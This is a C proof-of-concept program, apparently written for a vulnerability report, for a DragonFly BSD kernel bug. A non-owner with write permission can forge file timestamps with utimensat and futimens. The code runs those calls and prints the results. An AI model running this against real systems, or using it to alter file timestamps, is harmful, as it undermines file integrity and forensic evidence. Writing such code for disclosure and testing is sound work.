/*
 * DF-5797 PoC: non-owner with write permission can set ARBITRARY
 * atime/mtime via utimensat(2)/lutimes(2)/futimens(2).
 *
 * POSIX.1-2017 (utimensat): "Only a process with the effective user ID
 * equal to the user ID of the file ... or with appropriate privileges
 * may change the timestamps to arbitrary values" -- a process with only
 * write permission is restricted to UTIME_NOW/current time.
 *
 * DragonFly kern_utimensat() (sys/kern/vfs_syscalls.c) gates the whole
 * thing on naccess(NLC_OWN|NLC_WRITE), which means owner OR write-perm,
 * and never checks whether user-supplied timestamps are arbitrary.
 *
 * Build:  cc -O -o utimes_forge utimes_forge.c
 * Run (as unprivileged user): ./utimes_forge /tmp/df5797_target
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <unistd.h>

static void show(const char *tag, const char *path)
{
	struct stat st;
	if (stat(path, &st) < 0) { perror("stat"); return; }
	printf("%-28s atime=%lld mtime=%lld\n", tag,
	    (long long)st.st_atime, (long long)st.st_mtime);
}

int main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1] : "/tmp/df5797_target";
	struct timespec ts[2];
	struct stat st;
	uid_t me = getuid();
	int fd, rc;

	if (stat(path, &st) < 0) { perror("stat"); exit(1); }
	printf("uid=%d  file owner=%u mode=%o\n", me, st.st_uid, st.st_mode);
	show("before", path);

	/* 1. utimensat with ARBITRARY times (epoch + 66666 sec) */
	ts[0].tv_sec = 0;        ts[0].tv_nsec = 0;
	ts[1].tv_sec = 66666;    ts[1].tv_nsec = 123456789;
	rc = utimensat(AT_FDCWD, path, ts, 0);
	printf("utimensat(arbitrary)      -> %s (errno=%d %s)\n",
	    rc ? "FAIL" : "OK", errno, rc ? strerror(errno) : "-");
	if (rc == 0)
		show("  after utimensat", path);
	errno = 0;

	/* 2. lutimes family via utimensat AT_SYMLINK_NOFOLLOW on the file */
	ts[0].tv_sec = 1; ts[0].tv_nsec = UTIME_NOW;
	ts[1].tv_sec = 2; ts[1].tv_nsec = 0;
	rc = utimensat(AT_FDCWD, path, ts, AT_SYMLINK_NOFOLLOW);
	printf("utimensat(nofollow,mixed)-> %s (errno=%d %s)\n",
	    rc ? "FAIL" : "OK", errno, rc ? strerror(errno) : "-");

	/* 3. futimens on an O_RDWR descriptor (kern_futimens path) */
	fd = open(path, O_RDWR);
	if (fd < 0) {
		printf("open(O_RDWR)              -> %s\n", strerror(errno));
	} else {
		ts[0].tv_sec = 12345678; ts[0].tv_nsec = 0;
		ts[1].tv_sec = 12345678; ts[1].tv_nsec = 0;
		rc = futimens(fd, ts);
		printf("futimens(arbitrary)       -> %s (errno=%d %s)\n",
		    rc ? "FAIL" : "OK", errno, rc ? strerror(errno) : "-");
		close(fd);
		if (rc == 0)
			show("  after futimens", path);
	}
	show("final", path);

	/*
	 * SUCCESS CRITERION (vulnerability present):
	 *   utimensat/futimens return 0 and st_mtime == 12345678 / 66666,
	 *   i.e. arbitrary timestamps accepted from a NON-OWNER whose only
	 *   privilege is write permission on the file.
	 * POSIX-correct behaviour (FreeBSD, Linux):
	 *   EPERM for arbitrary times (only both-UTIME_NOW would be legal).
	 */
	return 0;
}
